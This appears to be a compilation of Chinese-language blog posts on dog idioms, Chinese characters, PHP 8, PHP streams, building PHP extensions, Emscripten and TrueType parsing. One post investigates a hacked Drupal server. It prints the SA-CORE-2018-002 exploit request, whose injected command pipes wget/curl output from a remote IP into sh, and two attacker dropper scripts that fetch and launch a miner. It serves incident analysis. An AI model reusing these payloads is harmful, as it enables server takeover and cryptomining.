从习语对比中西方狗文化

在中国和西方,有许多有关狗的习语,我们来看一下:

中国:

  • 狗嘴里吐不出象牙;
  • 狼心狗肺;
  • 狗急跳墙;
  • 狗眼看人低;
  • 嫁鸡随鸡,嫁狗随狗;
  • 猪狗不如……

英美:

  • Love me, love my dog.(爱屋及乌)
  • Dog does not eat dog.(同类不相残,同室不操戈。)
  • If the old dog barks, he give the counsel. (老狗叫,是忠告)
  • Every dog has his day. (凡人皆有得意日)
  • A living dog is better than a dead lion. (死狮不如活狗,好死不如赖活)
  • Give a dog a bad name and hang him. (欲加之罪,何患无辞)
  • lucky dog (幸运儿)
  • top dog (大佬,很厉害的人物)
  • a cat-and-dog life (争争吵吵的日子)
  • lead a dog\'s life (过穷困潦倒的日子)
  • not have a dog\'s chance (毫无机会)

通过比较,我们可以发现,中国有关狗的习语大多是贬义的,西方有关狗的习语大多是褒义或者中性的。

狗在中国的形象是凶狠、低贱、贪婪、无情的恶霸形象,但是在西方确实忠诚的人类伴侣。为什么会有这种不同呢?

这是由于西方文明起源于游牧文明,狗在保护牛羊、放牧、陪伴牧羊人等方面有十分重要的作用。而中国主要是农耕文明,狗在中国的主要作用是看家护院,可有可无,因此狗在中国形象不佳。

为什么中国没有废除汉字?

  1. 汉字的历史超过3000年。汉字是中华文化的载体,古往今来,用汉字记录的文献资料卷轶浩繁。一旦废除汉字,几百年后,这些先人留给我们最珍贵的财富,将会沦为一张张废纸。这个损失是无法估量的。韩国和越南为了独立发展自己的文化,废除汉字后,超过千年的文献资料只有专家才能读懂了。

  2. 汉字的传承具有稳定性。汉字是从原始的象形文字,经过不断演变,成为今天的表意文字。它的变化轨迹清晰可见。如今受过良好教育的高中毕业生,可以理解2000年前的文章的大概内容,英国人却难以阅读中世纪时期的文章。英语每年新增许多词汇,但是汉字的数量历经3000年,也不过产生了10万个汉字,现代汉语仍在使用的不到1万个汉字。

  3. 汉字是对信息的高度压缩。比较英语和汉字,表达同样的意思,汉语白话占用的纸张空间不到英文的一半,汉语文言文占用空间更少。因此,在纸张昂贵的年代,汉字可以记录更多信息。中国从古至今留下的文献也是丰富多彩。

  4. 更快的阅读速度。汉字一行相当于英文两行的内容,在这信息爆炸的时代,可以获得更多有用的信息。

  5. 基于汉字的书法是一种艺术。

  6. 基于汉字的汉语具有内在逻辑性。

PHP8正式发布!

PHP 8.0 是 PHP 语言的一个主版本更新。
它包含了很多新功能与优化项, 包括命名参数、联合类型、注解、构造器属性提升、match 表达式、nullsafe 运算符、JIT,并改进了类型系统、错误处理、语法一致性。

PHP 8已于2020年11月26日正式发布,据说最大的亮点是新增了JIT即时编译功能。还有什么惊喜呢?让我们一睹为快。

命名参数

PHP8新增了类似于python的函数命名参数语法

file

原生注释

新增了类似于python的结构化元数据功能。

file

构造函数属性自动成为类属性

从此使得代码可以进一步简化

file

联合类型

file

匹配表达式

file

值为空时的安全使用

file

更符合逻辑的相等

file

内部函数类型错误的一致性

file

最重要的JIT

根据官网的测试, JIT对某些脚本,运算速度可以提高一倍左右.但是对于wordpress/symfony这类应用,几乎没有作用.

file

PHP流处理(stream)

为什么要了解流

一个php程序的本质是读入数据,经过处理后,再输出数据。

graph LR
源数据 --输入--> 处理程序
处理程序 --输出--> 目标数据

php处理程序可以以多个方式读入数据。比如:从文件读入,从http数据源读取,从标准输入读取(php-cli界面要求用户输入数据),从客户端POST BODY读取,从FTP数据源读取......从不同的数据源读取数据可能会有不同的函数,不同的方法。同理,输出数据到不同的位置也会用不同函数,不同的方法。

graph LR
文件数据      --输入--> 处理程序
标准输入数据  --输入--> 处理程序
POST数据      --输入--> 处理程序
远程HTTP数据  --输入--> 处理程序
处理程序 --输出--> 目标文件
处理程序 --输出--> 标准输出
处理程序 --输出--> 浏览器网页
处理程序 --输出--> ......

另一方面,针对大规模数据,因计算机内存限制,不能一次性处理完,因此需要每次处理一段数据,即分片处理数据。

为了以统一的方式解决数据分片读入输出的问题,PHP提出了流(stream)这个概念。

  • 流让我们不用关心具体数据读写协议(即读写数据接口函数)
  • 流可以帮我们减少内存占用量
  • 流可以让我们写出的代码更容易维护

流是什么

流是什么?有人说,流类似于Linux中的管道pipe;有人说,流是对输入输出设备的抽象,也有人说,流是传输数据的一种方式。
但我认为,流实质上涉及到四个个概念:

  • 资源: 数据存放的位置,数据可能存放在本地磁盘,可能存放在远程服务器,可能存放在FTP服务器......
  • 流设备:数据传输的媒介(也就是通常说的流)
  • 流数据:在流设备上传输的数据,是分片数据
  • 处理程序:处理流数据的PHP程序

只有把这几个概念一起理解,才能明白什么是流。打个比方,一个工厂从原料基地,用卡车队从公路上,一趟一趟运输原料到工厂进行加工,并把加工好的产品,用卡车队从公路上,一趟一趟运到代理商仓库。在这里,公路就是流设备,公路上的卡车就是流数据,工厂就是流处理程序,产地的原料和在仓库的产品就是资源,原料到工厂的公路流是输入流,工厂到产品仓库的流是输出流。

回到PHP,流就是用统一的方式来处理可以分片的数据资源的工具.

PHP有哪些流

在PHP中,流可以用scheme://target 这种形式来表示。其中scheme是协议,target随协议不同而各异,下边是常的一些流:

  1. 文件流,也是默认流,用于读写文件。scheme是file(可以省略),target是文件的具体位置,如/etc/resolv.conf 等价于 file:///etc/resolve.conf
  2. http数据流,用于http访问数据资源,形式为通常的网址
  3. 标准输入流,用于读入用户输入数据,即php://input
  4. 标准输出流,用于输出数据到屏幕或者输出数据到html页面,即php://output
  5. 临时数据流,用于存储临时数据,即php://temp

如何对数据流进行操作

打开关闭流

$fp = fopen("test.txt", "rb"); // 只读方式打开一个文件流,用于读取数据
$fp = fopen("php://input", "rb"); // 只读方式打开一个标准输入流,用于从标准输入读取数据
$fp = fopen("php://temp", "rwb"); // 读写方式打开一个临时数据流,用于读写临时数据

fclose($fp); //关闭流

Windows系统编译PHP7扩展

前言

有时候,我们要在windows系统安装一个定制的php扩展,或者PECL官网没有提供windows版编译好的DLL扩展文件,我们就需要自己从源码编译DLL扩展文件。
PHP扩展(Extension)的编译在linux系统编译比较容易一些,但是在windows系统步骤就比较多,本文根据官网文档,以编译php7.3下64位的apcu扩展为例,介绍编译PHP7扩展的步骤。

准备工作

为编译php7扩展,需要准备以下工具和源码:

  1. Visual Studio。如果要编译php7.0或者php7.1扩展,需要安装VS2015;如果需要编译php7.2+扩展需要安装VS2017。
  2. php-sdk-binary-tools。在GitHub下载,选2.20稳定版本。
  3. php稳定版源码。在这里我们选php7.3.23的源码。
  4. 扩展源文件。本文以APCU为例,下载5.1版本
  5. 依赖文件。由于仅仅编译扩展一般不需要编译依赖,此处略过。

在这里要注意的是,如果想要DLL扩展能够复制到已经装好的PHP环境中使用,必须要保证扩展和PHP主运行文件

  • 编译器一致(VS2015/VS2017)
  • 位数一致(32位/64位)
  • 是否线程安全一致(TS/NTS)

Windows系统下64位非线程安全是常用的版本,也是接下来本文要编译的目标。

组织目录

  1. 解压php-sdk-binary-tools,本文解压到G:\php-sdk文件夹
  2. 打开cmd命令行窗口,执行以下命令以初始化相关环境变量,这里我们需要用vs2017生成64位的目标文件
    G:
    cd php-sdk
    G:\php-sdk\phpsdk-vc15-x64.bat
  3. 创建的目录结构,这时候会在php-sdk文件夹下创建phpdev\vc15\x64文件夹,并进入相应文件夹
    phpsdk_buildtree phpdev
  4. 把php7.3源码解压到phpdev\vc15\x64文件夹下,把apcu源码解压到phpdev\vc15\x64\pecl文件夹下。这时候php-sdk目录结构如下所示
    │─bin
    ├─doc
    ├─lib
    ├─msys2
    ├─pgo
    └─phpdev
    └─vc15
        └─x64
            ├─deps
            ├─pecl
            │  └─apcu
            └─php-7.3.23-src

编译扩展

  1. 执行以下命令生成配置文件configure.js
    buildconf
  2. 执行以下命令编译php-cli和apcu扩展,
    configure --disable-all --disable-zts --enable-cli --enable-apcu=shared

    命令的含义是编译生成非线程安全(nts)版本的php-cli和php扩展动态库apcu,禁止编译其它模块和扩展,--disable-zts表示生成非线程安全版本的目标文件。要查看所有可能的命令参数,请执行configure --help

  3. 最后执行编译命令
    nmake

    根据机器配置不同,大概等待3-5分钟,可以在G:\php-sdk\phpdev\vc15\x64\php-7.3.23-src\x64\Release看到生成的扩展文件php_apcu.dll

7

测试验证

把php_apcu文件复制到系统原有的php文件夹下的ext文件夹,并在php.ini启用扩展,执行php -m,可以看到apcu扩展已经启用

参考文章

Docker搭建Emscripten的WebAssembly编译环境

众所周知,javascript是目前制作网页应用最为广泛的脚本语言,它的特点是简单易用,灵活多变。但是javascript毕竟是一门解释型语言,最大的问题就是运行速度比C语言等静态类型语言慢很多。为解决此问题,WebAssembly应运而生。

Docker搭建Emscripten的WebAssembly编译环境

顾名思义,Webassembly就是运行在网页上的“汇编”。既然是“汇编”,那么诸如C/C++,Rust,Go等静态语言就可以通过合适的编译器编译为WebAssembly。

Emscripten是一套广泛应用于C/C++编译为Webassembly的工具集。但由于众所周知的原因,按照网上的方法,这个Emscripten环境很难安装成功。 不过已经有人做好了Emscripten环境的Docker镜像,我们拿来用即可。

按照以下步骤操作即可

printf '#include<iostream> \nint main() { std::cout<<"hello world"<<std::endl; return 0;}' >  helloworld.cpp #写入c++代码到文件
docker run \
  --rm \ #执行完毕后删除容器
  -v $(pwd):/src \ #把当前目录挂载到容器的/src目录
  trzeci/emscripten \ #emscripten环境镜像
  emcc helloworld.cpp -o helloworld.html #编译单文件C++文件
python3 -m http.server 8080 #此时打开localhost:8080即可看到相应页面

Drupal网站捉马记

问题出现

Drupal网站页面打不开了,浏览器显示500错误。 登陆centos服务器,查看CPU,发现有一个apache用户的进程,进程名是[[^$I$^]],占用CPU达到100%。

CPU-100%

显然,网站被入侵了,而且十有八九又是挖矿代码。

照以往的做法,重装系统和网站完事,但没找到问题的根源,指不定什么时候又会出问题。不如这次试试能不能抓到这只马,顺便长长经验。

初次尝试

首先用命令kill -9 进程号,尝试杀死这个进程。杀掉之后,又重新启动起来,没有用。重新启动主机,这个进程还是跳来跳去。

一番百度后,有人说恶意代码可能是开机启动或者定时启动。然后到/etc文件夹下检查了诸如cron.d、rc.d等文件夹下的脚本,发现大多是一些系统服务启动脚本,翻来覆去也没有找到什么有价值的东东。

既然暂时杀不死,那限制它的cpu占用率总该可以吧?又查了一番,还真有个cpulimit的软件能限制这个进程的cpu使用率。

yum install cpulimit
cpulimit -l 1 -p 进程号 & #限制木马进程的cpu占用率为1%

好了,操作起来没那么卡了,但是网站还是一片空白。

再次尝试

既然杀不死这个木马,那能不能定位这个木马程序的位置和代码呢? 还好,从洋洋洒洒的广告中找到了需要的答案。

在/proc/进程号目录下,有当前进程的详细信息。其中的exe指向的文件就是启动这个进程的可执行文件。

proc-num

进入目录,执行ll,发现了,可行性文件在/var/tmp目录下,但后边显示了个deleted。什么情况?狡猾的木马执行起来之后,又把自己删了,让我们无迹可寻,厉害!

不过。。。把tmp目录禁止写入禁止执行,是不是木马就运行不起来了呢? 经过一番设置,然后kill之后,木马进程好像没有了,网站也恢复正常。

但是!!几个小时后,网站又是一片空白--500。

转机出现

折腾了很久很久,还是没有搞定这只马。正当自己考虑要不要重装系统的时候,忽然想到,访问日志文件中会不会有什么蛛丝马迹。毕竟,木马进程是apache用户启动,说明木马没有拿到最高权限,可能就是个webshell。apache访问日志cat一下,cat /var/log/httpd/access_log。

post

这次运气不错,一下子看到一个POST请求有问题。全站都打不开了,显示500错误,但是这个POST请求响应结果竟然是200!!那说明这个请求可能就跟木马有关。

木马分析

这条POST请求的url用解码一下看看,

POST //?q=user/password&name[#post_render][]=system&name[#markup]=kill -9 -1; nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name[#type]=markup

其中有一条shell语句,单独拿出来分析一下

kill -9 -1;  #把自己的父进程杀死?
nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; #wget下载远程脚本并执行
nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name # curl下载远程脚本并执行 

这个脚本是什么呢?下载下来看看

#!/bin/sh
id0="[[^$I$^]]" #这个就是服务器中木马进程的名称
id1="atnd"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"#看看能不能找到木马进程
if [ $? -ne 0 ];then #如果找不到木马进程的话,$?的值就是1,下面就是下载脚本启动进程
kill -9 -1;wget -O - http://164.132.159.56/drupal/bups.sh|sh ;  curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo "......."
fi

bups.sh脚本又是什么东东呢?下载下来看看。

#!/bin/sh
id0="[[^$I$^]]" #进程名称
id1="atnd" 
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $? -ne 0 ];then #如果没有找到木马进程,就启动木马
if [ -x "/tmp/" ] || [ -w "/tmp/" ];then
rm -rf /tmp/.*
rm -rf /tmp/*
chmod  777 /tmp/atnd #把文件权限设置行777
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`#添加执行权限并执行
/tmp/`echo $id1` &
else
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
chmod 777 /var/tmp/atnd
wget -O /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
/var/tmp/`echo $id1` &
fi
else
echo "Running....."
fi

这一段是下载真正的木马,然后启动它。因为它把/tmp目录权限设置成777了,所以之前尝试禁止写入文件没有效果。

分析了木马了,下边的步骤就是水到渠成了。

问题解决

百度搜索木马的POST请求url,结果发现这是利用了drupal的SA-CORE-2018-002漏洞。这个漏洞可以执行恶意代码,进而完全控制整个网站。

drupal-CVE-2018-7600

按照官方教程更新相关文件。

之后重启服务器,问题消失,网站恢复正常。

[译]JS解析TTF字体文件

把字体拖到下边的方框,获取其中的奥妙!点此获取示例ttf字体文件。

TTF文件拖到这里


在这篇文章,我们计划操作如下:

  1. 将字体文件拖入网页,并读取之
  2. 尽管ttf文件是为C语言读取设计的,但我们仍试图解析之
  3. 读取文件的字形数目,并定位各个字形轮廓的位置
  4. 解析每个字形轮廓
  5. 最后,把这些字形轮廓呈现到网页上

本文由原始文档从零开始解析ttf文件,并获取字形轮廓坐标。如果需要完整解析ttf文件,并获取字体文件的各个属性,以下第三方库可能是更优选择:

Javascript Python C Php
opentype.js fonttools otfcc php-font-lib

-----译者注

用Javascript读取文件

这... 好像很危险。 不过,放心吧,只有把文件拖动到网页上,才能用javascript读取它。通过处理dragover(拖入方框)和drop(释放鼠标)事件,我们可以读取拖进方框的文件。

在页面接听到drop事件的时候,可以获取该文件的引用(指针),进而读取该文件。这个操作无需与服务器进行交互。 我们还得处理dragover事件,不然它将不能工作。

var dropTarget = document.getElementById("dropTarget");
dropTarget.ondragover = function(e) {
    e.preventDefault();
};
dropTarget.ondrop = function(e) {
    e.preventDefault();

    if (!e.dataTransfer || !e.dataTransfer.files) {
        alert("没有读取到文件");
        return;
    }

    var reader = new FileReader();
    reader.readAsArrayBuffer(e.dataTransfer.files[0]);
    reader.onload = function(e) {
        ShowTtfFile(reader.result);
    };

};

HTML5文件对象不太方便后续的操作。要想获取文件的原始数据,只能用FileReader异步读取它。我们可以读取为base64编码的字符串或ArrayBuffer。在这里,我们读取ttf文件为ArrayBuffer类型。

解析C结构体

TrueType文件设计的时候,计算机内存还很小。它的设计思路是,先把硬盘上的字体文件拷贝到运行内存,然后在适当的位置读取。字体文件中甚至直接存入了C结构体。要读取TrueType文件,只要把它加载到内存就可以了。我们将做类似的事情。不过,首先需要一些功能函数,以便在文件适当的位置查找并读取各种数据类型。 这个类可以实现以上目的。

function BinaryReader(arrayBuffer)
{
    assert(arrayBuffer instanceof ArrayBuffer);
    this.pos = 0;
    this.data = new Uint8Array(arrayBuffer);
}

BinaryReader.prototype = {
    seek: function(pos) {
        assert(pos >=0 && pos <= this.data.length);
        var oldPos = this.pos;
        this.pos = pos;
        return oldPos;
    },

    tell: function() {
        return this.pos;
    },

    getUint8: function() {//读取单字节无符号整型
        assert(this.pos < this.data.length);
        return this.data[this.pos++];
    },

    getUint16: function() {//读取双字节无符号整型
        return ((this.getUint8() << 8) | this.getUint8()) >>> 0;
    },

    getUint32: function() {//读取四字节无符号整型
       return this.getInt32() >>> 0;
    },

    getInt16: function() {//读取双字节有符号整型
        var result = this.getUint16();
        if (result & 0x8000) {
            result -= (1 << 16);
        }
        return result;
    }, 

    getInt32: function() {//读取四字节有符号整型
        return ((this.getUint8() << 24) | 
                (this.getUint8() << 16) |
                (this.getUint8() <<  8) |
                (this.getUint8()      ));
    }, 

    getFword: function() {
        return this.getInt16();
    },

    get2Dot14: function() {//读取定点数,00.00000000000000
        return this.getInt16() / (1 << 14);
    },

    getFixed: function() {//读取定点数,00.00
        return this.getInt32() / (1 << 16);
    },

    getString: function(length) {//由arraybuffer转字符串(ascii编码)
        var result = "";
        for(var i = 0; i < length; i++) {
            result += String.fromCharCode(this.getUint8());
        }
        return result;
    },

    getDate: function() {//读取日期
        var macTime = this.getUint32() * 0x100000000 + this.getUint32();
        var utcTime = macTime * 1000 + Date.UTC(1904, 1, 1);
        return new Date(utcTime);
    }
};

定点数

除了无符号及有符号8位、16位和32位整型,字体文件中还需要一些其他数据类型。某些特定位数的小数可以用定点数来表示。类似于定点算术,我们只使用二进制而非十进制。假设我们打算写入十进制数字1.53,由于1.53转换成二进制是循环小数,因此不能精确写入文件,不过我们将其改写为153再存入文件。只要把它再除以100,就可以欲获得原始数据1.53。

有关Javascript中的数据类型

Javascript中的数据类型是变化无常的,它通常是32位整型。只要它认为是必要的,就会从有符号类型自动转换为无符号类型。即使不需要,js也可能把数据转换成64位双精度浮点数(double float)。

不过,可以用无符号右移位运算符(>>>)将数据类型强制转换为无符号数。将一个数右移0位,其内部类型就转为无符号整型了。

寻找宝藏

TrueType字体格式的详细说明在苹果公司网站。Truetype文件头是偏移表,记录了其余表在文件中的位置。我们将深入一些表来获取字形轮廓。

每个表有一个校验和,以此保证其正确性。校验和可以通过将该表的所有4字节整数相加模2^32得到。 这段代码用来读取每个表的相对于整个文件的偏移量。

function TrueTypeFont(arrayBuffer)
{
    this.file = new BinaryReader(arrayBuffer);
    this.tables = this.readOffsetTables(this.file);
    this.readHeadTable(this.file);
    this.length = this.glyphCount();
}

TrueTypeFont.prototype = {
    readOffsetTables: function(file) {
        var tables = {};
        this.scalarType = file.getUint32();
        var numTables = file.getUint16();
        this.searchRange = file.getUint16();
        this.entrySelector = file.getUint16();
        this.rangeShift = file.getUint16();

        for( var i = 0 ; i < numTables; i++ ) {
            var tag = file.getString(4);
            tables[tag] = {
                checksum: file.getUint32(),
                offset: file.getUint32(),
                length: file.getUint32()
            };

            if (tag !== 'head') {
                assert(this.calculateTableChecksum(file, tables[tag].offset,
                            tables[tag].length) === tables[tag].checksum);
            }
        }

        return tables;
    },

    calculateTableChecksum: function(file, offset, length)
    {
        var old = file.seek(offset);
        var sum = 0;
        var nlongs = ((length + 3) / 4) | 0;
        while( nlongs-- ) {
            sum = (sum + file.getUint32() & 0xffffffff) >>> 0;
        }

        file.seek(old);
        return sum;
    },

好了,现在我们定位了各个表的位置。不过,接下来我们需要读取“head”表。除了记录字体尺寸,更重要的是它定义了字形索引的格式。

    readHeadTable: function(file) {
        assert("head" in this.tables);
        file.seek(this.tables["head"].offset);

        this.version = file.getFixed();
        this.fontRevision = file.getFixed();
        this.checksumAdjustment = file.getUint32();
        this.magicNumber = file.getUint32();
        assert(this.magicNumber === 0x5f0f3cf5);
        this.flags = file.getUint16();
        this.unitsPerEm = file.getUint16();
        this.created = file.getDate();
        this.modified = file.getDate();
        this.xMin = file.getFword();
        this.yMin = file.getFword();
        this.xMax = file.getFword();
        this.yMax = file.getFword();
        this.macStyle = file.getUint16();
        this.lowestRecPPEM = file.getUint16();
        this.fontDirectionHint = file.getInt16();
        this.indexToLocFormat = file.getInt16();
        this.glyphDataFormat = file.getInt16();
    },

诸如字形之间的水平距离,建议的最小高度,创建日期等属性,可以从许多表得到。不过我们要专注于埋藏的宝藏 - 字形轮廓。 字形轮廓在“glyf”表中。字形是高度压缩的,每个字形的长度也不同。要快速找到某个字形的位置,我们必须先读取“loca”表---字形索引表。

head表的“indexToLocFormat”值决定了“loca”表是一个2字节还是一个4字节值的数组。如果indexToLocFormat为1,那么loca表每个元素占用4个字节,记录了字形在glyf表的位置序号;否则,loca表每个元素占用2个字节,这个元素乘以2就是是字形在glyf表的位置序号。这样的设计不会导致数据的错乱。

    getGlyphOffset: function(index) {
        assert("loca" in this.tables);
        var table = this.tables["loca"];
        var file = this.file;
        var offset, old;

        if (this.indexToLocFormat === 1) {
            old = file.seek(table.offset + index * 4);
            offset = file.getUint32();
        } else {
            old = file.seek(table.offset + index * 2);
            offset = file.getUint16() * 2;
        }

        file.seek(old);

        return offset + this.tables["glyf"].offset;
    },

现在,给定任何字形的索引,就可以定位该字形的位置。不过接下来,有点小麻烦。

如果两个图形彼此重叠,且路径方向不同(一个逆时针,一个顺时针),那么第二个将切掉第一个形状。字体依照这个约定来从轮廓构建形状。例如,字母O需要有两个轮廓 - 一个用于外圆,一个用于内圆。

不过有两种字形。一种是简单字形,由轮廓构成,如上所述;另一种是复合字形,由简单字形复合而成。要绘制复合字形,我们必须把每个简单字形部件放到到正确的位置。这样,复合字形就能处理带重音的字符(如汉语拼音)。正因为此,字母的重音版本占用的空间非常小。

为了专注于获取字体的精华,我们将暂不考虑复合字形。在这里只是提取那些简单字形。

解析轮廓

此函数将解析字形头,然后调用正确的函数来读取字形。

    readGlyph: function(index) {
        var offset = this.getGlyphOffset(index);
        var file = this.file;

        if (offset >= this.tables["glyf"].offset + this.tables["glyf"].length)
        {
            return null;
        }

        assert(offset >= this.tables["glyf"].offset);
        assert(offset < this.tables["glyf"].offset + this.tables["glyf"].length);

        file.seek(offset);

        var glyph = {
            numberOfContours: file.getInt16(),
            xMin: file.getFword(),
            yMin: file.getFword(),
            xMax: file.getFword(),
            yMax: file.getFword()
        };

        assert(glyph.numberOfContours >= -1);

        if (glyph.numberOfContours === -1) {
            this.readCompoundGlyph(file, glyph);
        } else {
            this.readSimpleGlyph(file, glyph);
        }

        return glyph;
    },

简单字形以压缩格式存储。通过使用一系列单字节标识,可以很好地处理重复点以及邻点之间的变动情况。对每一个XY坐标,每个标识字节指示对应点是存储在一个字节还是两个字节中。标志数组之后是X坐标,最后是Y坐标数组。这样设计的好处是,如果X或Y坐标没改变,那么只需要一个字节就可以存储这个点。

我们读取每一个字形,并把这些点拼成(x,y)坐标数组,并记录对渲染非常重要的标识。

 readSimpleGlyph: function(file, glyph) {

        var ON_CURVE        =  1,
            X_IS_BYTE       =  2,
            Y_IS_BYTE       =  4,
            REPEAT          =  8,
            X_DELTA         = 16,
            Y_DELTA         = 32;

        glyph.type = "simple";
        glyph.contourEnds = [];
        var points = glyph.points = [];

        for( var i = 0; i < glyph.numberOfContours; i++ ) {
            glyph.contourEnds.push(file.getUint16());
        }

        // skip over intructions
        file.seek(file.getUint16() + file.tell());

        if (glyph.numberOfContours === 0) {
            return;
        }

        var numPoints = Math.max.apply(null, glyph.contourEnds) + 1;

        var flags = [];

        for( i = 0; i < numPoints; i++ ) {
            var flag = file.getUint8();
            flags.push(flag);
            points.push({
                onCurve: (flag & ON_CURVE) > 0
            });

            if ( flag & REPEAT ) {
                var repeatCount = file.getUint8();
                assert(repeatCount > 0);
                i += repeatCount;
                while( repeatCount-- ) {
                    flags.push(flag);
                    points.push({
                        onCurve: (flag & ON_CURVE) > 0
                    });
                }
            }
        }

        function readCoords(name, byteFlag, deltaFlag, min, max) {
            var value = 0;

            for( var i = 0; i < numPoints; i++ ) {
                var flag = flags[i];
                if ( flag & byteFlag ) {
                    if ( flag & deltaFlag ) {
                        value += file.getUint8();
                    } else {
                        value -= file.getUint8();
                    }
                } else if ( ~flag & deltaFlag ) {
                    value += file.getInt16();
                } else {
                    // value is unchanged.
                }

                points[i][name] = value;
            }
        }

        readCoords("x", X_IS_BYTE, X_DELTA, glyph.xMin, glyph.xMax);
        readCoords("y", Y_IS_BYTE, Y_DELTA, glyph.yMin, glyph.yMax);
    }

在网页中绘制字形

最后,我们应该为所有的努力展示一些东西 -- 绘制字形。我们可以用HTML5画布API绘制。

这个函数用来控制整个流程。首先,从拖放事件中读取数组,并创建TrueType对象;接下来,删除之前绘制的字形;然后,针对每个字形,创建一个canvas元素并缩放字形,使其高度为字母\'M\'的高度--64像素;最后,由于字体坐标原点在屏幕左下角,但canvas坐标原点在左上角,所以需要垂直翻转一下。

function ShowTtfFile(arrayBuffer)
{
    var font = new TrueTypeFont(arrayBuffer);

    var width = font.xMax - font.xMin;
    var height = font.yMax - font.yMin;
    var scale = 64 / font.unitsPerEm;

    var container = document.getElementById("font-container");

    while(container.firstChild) {
        container.removeChild(container.firstChild);
    }

    for( var i = 0; i < font.length; i++ ) {
        var canvas = document.createElement("canvas");
        canvas.style.border = "1px solid gray";
        canvas.width = width * scale;
        canvas.height = height * scale;
        var ctx = canvas.getContext("2d");
        ctx.scale(scale, -scale);
        ctx.translate(-font.xMin, -font.yMin - height);
        ctx.fillStyle = "#000000";
        ctx.beginPath();
        if (font.drawGlyph(i, ctx)) {
            ctx.fill();
            container.appendChild(canvas);
        }
    }

}

这里展示了它们是如何绘制的。在此函数中,我们忽略了曲线上的控制点,简单连接了轮廓中的每个点。

 drawGlyph: function(index, ctx) {

        var glyph = this.readGlyph(index);

        if ( glyph === null || glyph.type !== "simple" ) {
            return false;
        }

        var p = 0,
            c = 0,
            first = 1;

        while (p < glyph.points.length) {
            var point = glyph.points[p];
            if ( first === 1 ) {
                ctx.moveTo(point.x, point.y);
                first = 0;
            } else {
                ctx.lineTo(point.x, point.y);
            }

            if ( p === glyph.contourEnds[c] ) {
                c += 1;
                first = 1;
            }

            p += 1;
        }

        return true;
    }

源码下载| 原文Let's read a Truetype font file from scratch

五款实用的字体裁剪字体子集工具

中文字体文件体积一般都比较大,要想用在在线网页或者离线应用中,往往需要对字体进行剪裁,以减小字体文件的体积。本文列出了比较实用的几款字体子集工具,可以根据实际需要选用。

1. Fontmin

这是百度开发的一款专门用于生成字体子集的工具,选择字体文件并输入需要的文字后,可以同时生成ttf、eot、svg、woff等网页字体格式,还会生成相应css文件,方便用于网页。不过这款工具体积稍微有点大(内嵌了一个浏览器,解压后70M+),启动速度稍慢。

Fontmin


Fontmin项目地址 | 点此下载Fontmin(35M+)

2. 在线字体裁剪工具

本站提供的一款在线字体子集提取工具,输入需要的文字,选择字体文件后,点击生成即可生成需要的字体文件。比较方便快捷,但是需要有网络连接才可以使用。

字体子集生成


在线字体裁剪工具地址

3. FontTools

这是一个python的模块,运行以下命令即可完成安装。

pip install fonttools

基本使用也很方便, 只需要这样一行命令

pyftsubset font.ttf --text="汉字"

fonttools是一个全功能的字体工具,更多功能可以参阅项目地址。


FontTools项目地址

4. SfntTool

SfntTool来自google开发的一款字体编辑工具sfntly,运行需要有JAVA环境(jre)。 基本用法是

java -jar sfnttool.jar -s '需要的字体的文字信息' 原始字体.ttf 目标字体.ttf

SfntTool项目地址 | sfnttool.jar下载地址

5. FontForge

FontForge是一款功能齐全的开源免费软件,拥有可视化操作界面,可以方便地编辑调整各个字形,裁剪字体当然不在话下,不过这个界面稍显简朴。 FontForge


FontForge项目地址 | FontForge下载地址